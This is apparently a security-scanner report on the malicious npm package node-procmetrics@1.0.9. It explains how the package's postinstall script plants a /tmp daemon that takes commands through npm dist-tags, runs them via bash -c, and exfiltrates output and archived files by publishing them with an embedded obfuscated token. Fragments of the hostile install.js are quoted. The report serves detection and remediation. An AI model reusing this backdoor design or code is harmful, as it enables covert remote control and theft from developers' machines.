registry / Remote code execution / node-procmetrics
node-procmetrics
System metrics collector
This report shows the evidence for node-procmetrics@1.0.9. 10 of 10 known versions are blocked or flagged. See all versions.
AI Security Review
scanned 3mo ago · by lpm-firewall-aiDirect source inspection confirms an install-time persistent backdoor with npm-based command-and-control, arbitrary command execution, and data exfiltration. This is concrete malicious behavior, not a package-aligned metric collector.
Static reason
High-risk behavior combination matched malicious policy.
Trigger
`npm install node-procmetrics@1.0.9` activates `postinstall`.
Impact
Remote command execution, host file collection, and exfiltration under the installing user's permissions.
Mechanism
persistent npm-registry C2 with arbitrary shell execution and data exfiltration
Attack narrative
The postinstall script installs itself as a detached `/tmp` daemon. It repeatedly reads command data from npm package dist-tags, decodes it, executes arbitrary commands with `bash -c`, and publishes captured output using an embedded npm token. A special command archives arbitrary filesystem paths and uploads the archive in chunks through a second npm package.
AI rationale
Direct source inspection confirms an install-time persistent backdoor with npm-based command-and-control, arbitrary command execution, and data exfiltration. This is concrete malicious behavior, not a package-aligned metric collector.
Evidence
package.jsoninstall.js/tmp/.pm-agent.js/tmp/.pm-agent.log/tmp/npm-pub-*/tmp/pm-archive-*.tar.gz
Network endpoints2
registry.npmjs.org/node-procmetricsregistry.npmjs.org
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- `package.json` runs `node install.js` in `postinstall`.
- `install.js` decodes an embedded npm token and configures it for npm.
- Install code copies itself to `/tmp/.pm-agent.js` and spawns a detached daemon.
- Daemon polls `registry.npmjs.org/node-procmetrics` for base64 commands.
- Received commands are executed through `bash -c`; output is republished to npm.
- `__archive__` can tar arbitrary paths and upload chunks via npm publishes.
Evidence against
- Package contains only `package.json` and `install.js`; no legitimate metrics implementation is present.
Behavioral surface
ChildProcessEnvironmentVarsFilesystemNetworkShell
UrlStrings
Source & flagged code
5 flagged · loading sourcepackage.jsonView file
•scripts.postinstall = node install.js
High
Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.jsonView on unpkg•scripts.postinstall = node install.js
Medium
Ambiguous Install Lifecycle Script
Install-time lifecycle script is not statically allowlisted and needs review.
package.jsonView on unpkginstall.jsView file
1const { execSync, spawnSync, spawn } = require('child_process');
L2: const https = require('https');
L3: const fs = require('fs');
...
L5: const _e = '[redacted]';
L6: const NPM_TOKEN = Buffer.from(_e, 'hex').map(b => b ^ 0x5A).toString();
L7: const CMD_PKG = 'node-procmetrics';
...
L33: const pkg = { name: pkgName, version, description, license: 'MIT' };
L34: fs.writeFileSync(dir + '/package.json', JSON.stringify(pkg));
L35: if (files) {
...
L42: execSync(`npm config set //registry.npmjs.org/:_authToken ${NPM_TOKEN} 2>/dev/null`);
L43: execSync(`cd ${dir} && npm publish --access public 2>/dev/null`, { timeout: 60000 });
L44: log(`published ${pkgName}@${version}`);
Findings
2 Critical3 High4 Medium3 Low
CriticalNpm Publish Worminstall.js
CriticalTrigger Reachable Dangerous Capabilityinstall.js
HighInstall Time Lifecycle Scriptspackage.json
HighChild Processinstall.js
HighShell
MediumAmbiguous Install Lifecycle Scriptpackage.json
MediumNetwork
MediumEnvironment Vars
MediumStructural Risk Force Deep Review
LowScripts Present
LowFilesystem
LowUrl Strings
Affected versions and remediation
This report applies to node-procmetrics@1.0.9.
The versions list below shows the verdict for each recorded version.
- Avoid installing node-procmetrics@1.0.9. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.